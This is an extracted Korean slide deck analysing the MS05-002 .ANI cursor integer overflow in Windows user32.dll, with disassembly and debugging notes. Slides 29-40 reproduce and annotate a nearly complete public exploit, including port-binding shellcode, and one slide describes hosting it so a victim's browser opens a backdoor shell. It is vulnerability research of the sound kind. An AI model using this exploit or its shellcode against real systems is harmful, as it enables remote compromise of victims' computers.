Download - Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

Transcript
Page 1: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 1

Windows 취약점테스트 및 분석

MS05-002

처음 작성 : 2005. 1. 26

최종 수정 : 2005. 1. 28

김 경 곤 (A.K.A. Anesra)

Page 2: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 2

목 차

1. 취약점 원인

2. 취약점 분석

3. 공격 코드 테스트

4. Exploit 분석

Page 3: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 3

1. 취약점 원인

Page 4: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 4

1. 취약점 원인

• MS IE .ANI Files Handing 취약점, 커서 및 아이콘 형식 처리의 취약점

• 원인 : 커서, 애니메이션 커서 및 아이콘을 렌더링하기 전에 충분한 형식 유효성 검사가수행되지 않아 발생함

• 패치 : 렌더링에 앞서 커서, 애니메이션 커서 및 아이콘 형식의 유효성 검사 방식을 수정하여 취약점 제거

• USER32 lib의 LoadImage API에 Integer overflow가 발생하여 .ani, .bmp, .ico을 큰 사이즈로 만들어 bof가 일어남. 일명 ‘Cursor and Icon format Handling Vulnerability’

• LoadImage API는 이미지를 처리할 때 4만큼 더해서 이미지 파일의 사이즈 필드를 직접적으로 이용. 그래서 이미지의 사이즈를 0xfffffffc-0xffffffff사이로 설정하면 integer buffer overflow가 발생

• integer overflow – int (0xffffffff) + 1 = (0x100000000) 인데 unsigned short 로 체크하면 0x0000, unsigned int 로 체크하면 0x0,

Page 5: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 5

1. 취약점 원인

• integer overflow 예제1

/* an integer overflow */

#include <stdio.h>

int main(void) {unsigned int num = 0xffffffff;printf("num is %d bits long\n", sizeof(num) * 8);printf("num = 0x%x\n", num);printf("num + 1 = 0x%x\n", num + 1);

// num is 32 bits long..// num = 0xfffffff// num+1 = 0x00000000return 0;

}

결과 : num is 32 bits longnum = 0xffffffffnum + 1 = 0x0

Page 6: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 6

1. 취약점 원인

• integer overflow 예제2

/* exploiting a trivial widthness bug */#include <stdio.h>#include <string.h>int main(int argc, char *argv[]) {

unsigned short s;int i;char buf[80];if(argc < 3) { return -1; }

i = atoi(argv[1]);s = i;if(s >= 80) { /*[w1]*/

printf("Oh no you don't!\n"); return -1;}printf("s = %d\n", s); // integer of inputmemcpy(buf, argv[2], i);buf[i] = '\0';printf("%s\n", buf); // print buf that input argv2return 0;

}

Page 7: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 7

1. 취약점 원인

• integer overflow 예제2

결과 :

[anesra@null2root c0de]$ ./int_bug1 5 hellos = 5hello

[anesra@null2root c0de]$ ./int_bug1 80 helloOh no you don't!

[anesra@null2root c0de]$ ./int_bug1 65535 helloOh no you don't!

[anesra@null2root c0de]$ ./int_bug1 65536 hellos = 0Segmentation fault

65536-> 0x00010000 -> 0xffff0000 |<->| 2byte. = 0, then always pass

메모리 복사는 65536 bytes 로 core dump

Page 8: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 8

1. 취약점 원인

• LoadImage API 함수

HANDLE LoadImage(HINSTANCE hinst, // handle of the instance containing the imageLPCTSTR lpszName, // name or identifier of the imageUINT uType, // type of imageint cxDesired, // desired widthint cyDesired, // desired heightUINT fuLoad // load flags

);

lpszName은 이미지를 로드하는 핸들. uType은 이미지 타입 – IMAGE_BITMAP, IMAGE_CURSOR, IMAGE_ICON

Page 9: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 9

1. 취약점 원인

• LoadImage API가 .bmp, .ico, .ani, .cur 파일을 처리하려고 할 때 사이즈 필드에 대한 체크를 하지 않고 그리고 4를 더한다. 아래 수행 코드

When use ANI or CUR:.text:77D56178 mov eax, [ebx+8] //Direct read our size here:P

// 길이를 eax에 넣음.?.text:77D5617B mov [ebp+dwResSize], eax

// eax에 넣은 길이를 [ebp+dwResSize]위치에 저장..text:77D5617E jnz short loc_77D56184.text:77D56180 add [ebp+dwResSize], 4 //add 4 int overflow....text:77D56184

.text:77D56184 loc_77D56184: ; CODE XREF: sub_77D5608F+E �F j

.text:77D56184 push [ebp+dwResSize] //allocate a wrong size

.text:77D56187 push 0

.text:77D56189 push dword_77D5F1A0

.text:77D5618F call ds:RtlAllocateHeap

Page 10: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 10

1. 취약점 원인

Then use the fake size for memmov and lead the heap overflow:

.text:77D561A9 mov ecx, [ebx+8]

.text:77D561AC mov esi, [ebx+0Ch]

.text:77D561AF add esi, [ebp+arg_0]

.text:77D561B2 mov edx, ecx

.text:77D561B4 shr ecx, 2

.text:77D561B7 mov edi, eax

.text:77D561B9 rep movsd

.text:77D561BB mov ecx, edx

.text:77D561BD and ecx, 3

.text:77D561C0 rep movsb

Q.T : 어떻게 위와 같은 코드를 뽑아 올 수 있었을까?..

-> IDA같은 디스어셈블러를 이용해서 취약한 user32.dll을 불러와서 가져온다.

Page 11: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 11

1. 취약점 원인

• IDA를 통해서 다음 부분을 찾을 수 있다. (Win2K Unpatched user32.dll)

Page 12: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 12

1. 취약점 원인

• IDA를 통해서 다음 부분을 찾을 수 있다. (Win2K Unpatched)

Page 13: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 13

2. 취약점 분석

Page 14: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 14

2. 취약점 분석

• WinXP에서 위와 같은 취약점에 해당하는 코드를 찾기 위해 삽질.

• 패치되지 않은 user32.dll을 IDA에서 불러옴 (winXP)

• 그리고 integer overflow가 일어나는 지점을 찾아보자.

• 의문점1 : integer overflow가 일어나는 지점은 정확히 어디쯤인가..

Page 15: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 15

• IDA->Debugger->Process Options에서 실행 프로그램과, 인자를 넣고, F2로 브레이크포인터 걸고 F9로 프로세스 실행시키면 아래 그림과 같이 나옴

2. 취약점 분석

Page 16: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 16

• LoadImageW함수에 F2로 bp걸고 Process Options에서 설정하고 디버거 실행(F9)하고, F8(Step Over)를 계속 해서 찾음

2. 취약점 분석

Page 17: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 17

• 또는, bp걸고 F9로 돌리고 나면 bp창에서 pass count를 보고 그 전까지 동작하고 검사하면 됨 (왕 삽질)

2. 취약점 분석

Page 18: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 18

쉘이 뜨기 바로 전에 실행되는 dll 들 – F9로 13번 bp까지 같다가 F8로 들어감..user32.dll -> comctl32.dll -> SHDOCVW.dll -> BROWSEUI.dllBROWSEUI.dll:71511388 call dword ptr [eax+44h] 여기서 멈춤.. 왜!-_-;멈출 때 다시 Pause Process 하면 bp가 생김?-_-);;;다시 디버깅 됨

2. 취약점 분석

이 부분에서 멈춤

REG 가 비어있음..

Page 19: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 19

• 쉘이 뜨기 바로 전에 실행되는 dll 들 – F9로 13번 bp까지 같다가 F7로 들어감..

• ds:RtlEnterCriticalSection 부분이 나옴..- 어디선가 본 중요한 함수 같은데..

2. 취약점 분석

Page 20: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 20

• breakpoint conditions 해서 해도 됨.

• breakpoint conditions는 IDC Expression 으로 사용EAX == EBX+5Dword(ESP+0x10) == 34

• bp 건 곳에서 Edit bp하여서 Expression 설정할 수 있음

• ebp+arg_C가 szName(파일이름) 이 ‘poc.ani’이면.. Bp가 걸리게 ..

2. 취약점 분석

Page 21: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 21

2. 취약점 분석

• Windows XP에서는 코드가 조금 다르다. 실제 패치를 롤백한 다음 취약한 지 테스트 해보고, 디버거를 걸어서 어느 부분에서 일어나는지 확인

Page 22: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 22

2. 취약점 분석

• User32.dll 과 User32.lib 에서 문제가 생김.

• 패치하면 User32.dll을 새로운 파일로 교체함.

• 이전 파일은 C:\WINDOWS\$NtUninstallKB891711$\user32.dll 파일로 존재함

• 이전 파일(user32.dll) : 557,568 바이트, 버전-5.1.2600.1561, 파일버전-5.1.2600.1561 (xpsp2_gdr.040517-1325)

• 패치된 파일(user32.dll) : 571,904 바이트, 버전-5.1.2600.1617파일버전-5.1.2600.1617 (xpsp2.041130-1838)

Page 23: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 23

3. 공격 코드 테스트

Page 24: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 24

3. 공격 코드 테스트

• MS05-002 공격 코드가 공개 됨

• 공격 코드 : http://www.k-otik.com/exploits/20050123.HOD-ms05002-ani-expl.c.php

• Compile과 TEST

Page 25: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 25

3. 공격 코드 테스트

• 실행 : HOD-ms05002-ani-expl.exe ms05-002 7777

• .ani 파일과 html 파일을 생성

Page 26: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 26

3. 공격 코드 테스트

• 실제 공격 코드 테스트 .ani 파일과 html 파일을 웹에 업로드

• HTML과 .ani 파일을 웹에 올린 후 취약한 시스템에서 HTML페이지 열람 하면 7777 백도어 포트가 열림. 공격자는 피해자 컴퓨터에 7777포트로 접근시 쉘을 획득 함

Page 27: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 27

4. Exploit 분석

Page 28: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 28

4. Exploit 분석

• 공개된 코드 : http://www.k-otik.com/exploits/20050123.HOD-ms05002-ani-expl.c.php

• 실행 하면 만들어지는 파일 들

1) Exploit 코드 : MS05-002.c2) 생성된 HTML 파일3) 생성된 .ANI 파일

Page 29: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 29

4. Exploit 분석1) Exploit Code 분석 (C 코드)#include <stdio.h>

#include <stdlib.h>

/* ANI header */

unsigned char aniheader[] = // ani header

"\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"

"\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

/* jmp offset, no Jitsu */ // jmp offset. ?...

"\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"

"\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"

"\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"

"\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"

"\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"

"\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"

"\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

Page 30: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 30

4. Exploit 분석1) Exploit Code 분석 (JMP offset)/* jmp offset, no Jitsu */ // jmp offset. ?...

"\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90" "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00" "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00" "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00" "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00" "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00" "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

• 77 82 40 00 -> ja(jmp above) 82 ; INC EAX

• eb 64 90 90 -> jmp 64

• eb 54 90 90 -> jmp 54

• eb 44 90 90 -> jmp 44

• eb 34 90 90 -> jmp 34

• eb 24 90 90 -> jmp 24

• eb 14 90 90 -> jmp 14 :: 즉 이 부분에 만나면 밑에 있는 0x90 코드 쪽으로 JMP함

• 77 82 40 00

이런 코드로 반복됨.. , 기계어 코드가 어떤 어셈코드인지 가장 빨리 알 수 있는 방법은 ?

Page 31: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 31

4. Exploit 분석1) Exploit Code 분석 (JMP offset)

Q. 기계어 코드가 어떤 어셈블리어코드인지 가장 빨리 알 수 있는 방법은 ?(예 : eb 24 => jmp ?? )

⇒ 첫번째 방법 : OllyDbg로 아무 exe불러와서 Binary Editor로 기계어 코드 입력하는 방법(기계어 코드 복사 후 Edit Code에서 붙여 넣기 쭈욱~~~ )

Page 32: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 32

4. Exploit 분석• integer overflow 일어나는 부분 살펴보기.

• 삽질 1 – poc.ani 파일에서 JMP code를 4141로 변경하여 실행한 후Exception이 뜨는지 확인..=> 안뜨네.. 이 방법이 아닌가벼…

• 삽질 2 - IDA에서 bp걸고 한 단계 씩 하면서 쉘이 뜰 때 까지 살펴 보는것=>이게 정확할 꺼 같은데..

Page 33: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 33

바뀌는 포트 번호 부분0x115c = 4444

4. Exploit 분석1) Exploit Code 분석 (C 코드)

/* portbind shellcode */

unsigned char shellcode[] =

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"

Page 34: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 34

4. Exploit 분석1) Exploit Code 분석 (C 코드)

"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d“"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c";

Page 35: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 35

4. Exploit 분석1) Exploit Code 분석 (C 코드)

#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)

// bind 할 포트를 정하는 부분 . 버퍼로부터 300 byte 떨어진 곳에 port번호를 지정

unsigned char discl[] =

"This is provided as proof-of-concept code only for educational"

" purposes and testing by authorized individuals with permission"

" to do so."; // 단지 코드에 대한 설명

unsigned char html[] =

"<html>\n"

"(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit"

"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\""

"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"

"Patch (MS05-002)</a>\n"

"&lt;script&gt;alert(\"%s\")&lt;/script&gt;\n<head>\n\t<style>\n" // %s는 설명을 넣을 내용

"\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n" // %s는 생성될 파일 이름

"</html>"; // HTML 파일에 넣을 내용

Page 36: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 36

4. Exploit 분석1) Exploit Code 분석 (C 코드)

unsigned short fixx(unsigned short p) {

unsigned short r = 0; // 16진수의 상위 byte와 하위 byte를 체인지 하는 부분

r = (p & 0xFF00) >> 8; // 코드의 정확한 동작을 위해서 VS 디버깅 이용

r |= (p & 0x00FF) << 8; // 0xaabb => 0xbbaa 로 바꾸어줌

return r;

}

void usage(char *prog) { // 사용법을 출력

printf("Usage:\n");

printf("%s <file> <bindport>\n\n", prog);

exit(0);

}

int main(int argc, char **argv) {

FILE *fp;

unsigned short port; // 포트 번호 변수 설정

unsigned char f[256+5] = ""; // 파일 이름 버퍼 만듬

unsigned char anib[912] = ""; // ani 파일을 만들 버퍼 크기 설정

Page 37: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 37

4. Exploit 분석1) Exploit Code 분석 (C 코드)

printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

printf("Tested on all affected systems:\n");

printf(" [+] Windows Server 2003\n [+] Windows XP SP1, SP0\n");

printf(" [+] Windows 2000 All SP\n\n"); // 중요 부분 아님. 그냥 설명 출력

printf("%s\n\n", discl); // 코드에 대한 설명 출력

if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) { // 쉘코드의 최대 길이 체크

printf("[-] Size of shellcode must be <= 686 bytes\n"); // 쉘코드의 크기는 912에서

return 0; // ani header 뺀것에서 -3보다

} // 크면 안됨 . 음..

if (argc < 3) usage(argv[0]);

if (strlen(argv[1]) > 256) { // 파일 이름 크기 체크

printf("[-] Size of filename must be <=256 bytes\n");

return 0;

}

Page 38: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 38

4. Exploit 분석1) Exploit Code 분석 (C 코드)

/* creating ani file */ // ani 파일 생성

strcpy(f, argv[1]);

strcat(f, ".ani"); // 인자로 부터 입력한 파일 이름 만듬

printf("[*] Creating %s file ...", f);

fp = fopen(f, "wb"); // 파일을 write byte단위로 염

if (fp == NULL) {

printf("\n[-] error: can\'t create file: %s\n", f);

return 0;

}

Page 39: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 39

4. Exploit 분석1) Exploit Code 분석 (C 코드)

memset(anib, 0x90, 912); // ani 퍼버를 912 byte만큼 0x90(NOP)로 채움

/* header */

memcpy(anib, aniheader, sizeof(aniheader)-1); // anib 버퍼에 aniheader 내용을 넣음

/* shellcode */

port = atoi(argv[2]); // 포트를 입력 받아

SET_PORTBIND_PORT(shellcode, fixx(port)); // 쉘코드 버퍼에 특정 포트를 집어 넣음

memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);

// anib에 쉘코드를 집어넣어서 anib를 완성함

fwrite(anib, 1, 912, fp); // anib버퍼를 fp안에 넣어서 파일을 만듬

printf(" Ok\n"); fclose(fp);

Page 40: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 40

4. Exploit 분석1) Exploit Code 분석 (C 코드)

/* creating html file */ // HTML 파일 생성

f[0] = '\0';

strcpy(f, argv[1]);

strcat(f, ".html");

printf("[*] Creating %s file ...", f);

fp = fopen(f, "wb");

if (fp == NULL) {

printf("\n[-] error: can\'t create file: %s\n", f);

return 0;

}

sprintf(anib, html, discl, argv[1]); // HTML파일을 열어서 html내용과 discl 내용 넣음

fwrite(anib, 1, strlen(anib), fp); // HTML파일에 anib버퍼의 내용을 넣음

printf(" Ok\n");

fclose(fp);

return 0;

}

Page 41: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 41

4. Exploit 분석1) Exploit Code 분석 (C 코드) – VS 디버거 이용- VS에서 C코드 가져와서 main에 bp걸고 실행 한 후 디버거 봄

• visual stdio에서는 인자를 넣을 때 project->setting에 인자 넣을 수있음

Page 42: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

